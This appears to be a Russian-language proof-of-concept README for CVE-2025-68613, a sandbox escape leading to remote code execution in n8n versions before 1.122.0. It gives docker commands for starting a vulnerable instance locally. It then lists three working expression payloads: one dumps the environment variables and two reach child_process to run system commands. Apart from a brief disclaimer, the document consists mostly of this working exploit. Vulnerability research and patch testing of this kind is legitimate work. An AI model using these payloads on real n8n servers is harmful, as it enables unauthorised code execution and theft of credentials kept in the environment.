
POC для CVE-2025-68613
Только в образовательных целях Эта доказательная концепция демонстрирует критическую уязвимость (CVE-2025-68613) в n8n. Не используйте её на системах, которыми вы не владеете или на тестирование которых у вас нет явного разрешения.
Версии n8n до 1.122.0 содержат уязвимость удалённого выполнения кода (RCE). Аутентифицированные пользователи могут обойти песочницу выражений и выполнить произвольный код на хост-системе с помощью специальных JavaScript-полезных нагрузок в редакторе выражений рабочего процесса.
Создайте том данных и запустите уязвимую версию n8n (например, v1.120.0).
# Create volume for persistence
docker volume create n8n_data
# Run vulnerable n8n instance
docker run -it --rm \
--name n8n \
-p 5678:5678 \
-v n8n_data:/home/node/.n8n \
n8nio/n8n:1.120.0
Перейдите по адресу http://localhost:5678 и завершите начальную настройку, если это необходимо.

Нажмите «Add Workflow», чтобы начать пустой рабочий процесс.

Добавьте узел Set в рабочий процесс. Этот узел позволяет задавать значения, которые могут быть вычислены как выражения.

В узле Set измените параметр (например, value) и переключите тип ввода на Expression.

Введите следующие полезные нагрузки в редактор выражений, чтобы продемонстрировать уязвимость.
Эта полезная нагрузка обращается к this.process.env, чтобы получить чувствительные переменные окружения из контейнера.
Полезная нагрузка:
{{ (function() {
return JSON.stringify(this.process.env, null, 2);
})() }}
Результат:

Эта полезная нагрузка обходит песочницу, обращаясь к process.mainModule.require для загрузки модуля child_process, что позволяет выполнять произвольные системные команды.
Полезная нагрузка:
{{ (function() {
const require = this.process.mainModule.require;
const { execSync } = require('child_process');
return execSync('whoami').toString();
})() }}

Результат: Подтверждает контекст пользователя запущенного процесса.
Демонстрирует возможность просмотра файловой системы.
Полезная нагрузка:
{{ (function() {
const require = this.process.mainModule.require;
const { execSync } = require('child_process');
return execSync('ls -la /').toString();
})() }}
Результат:
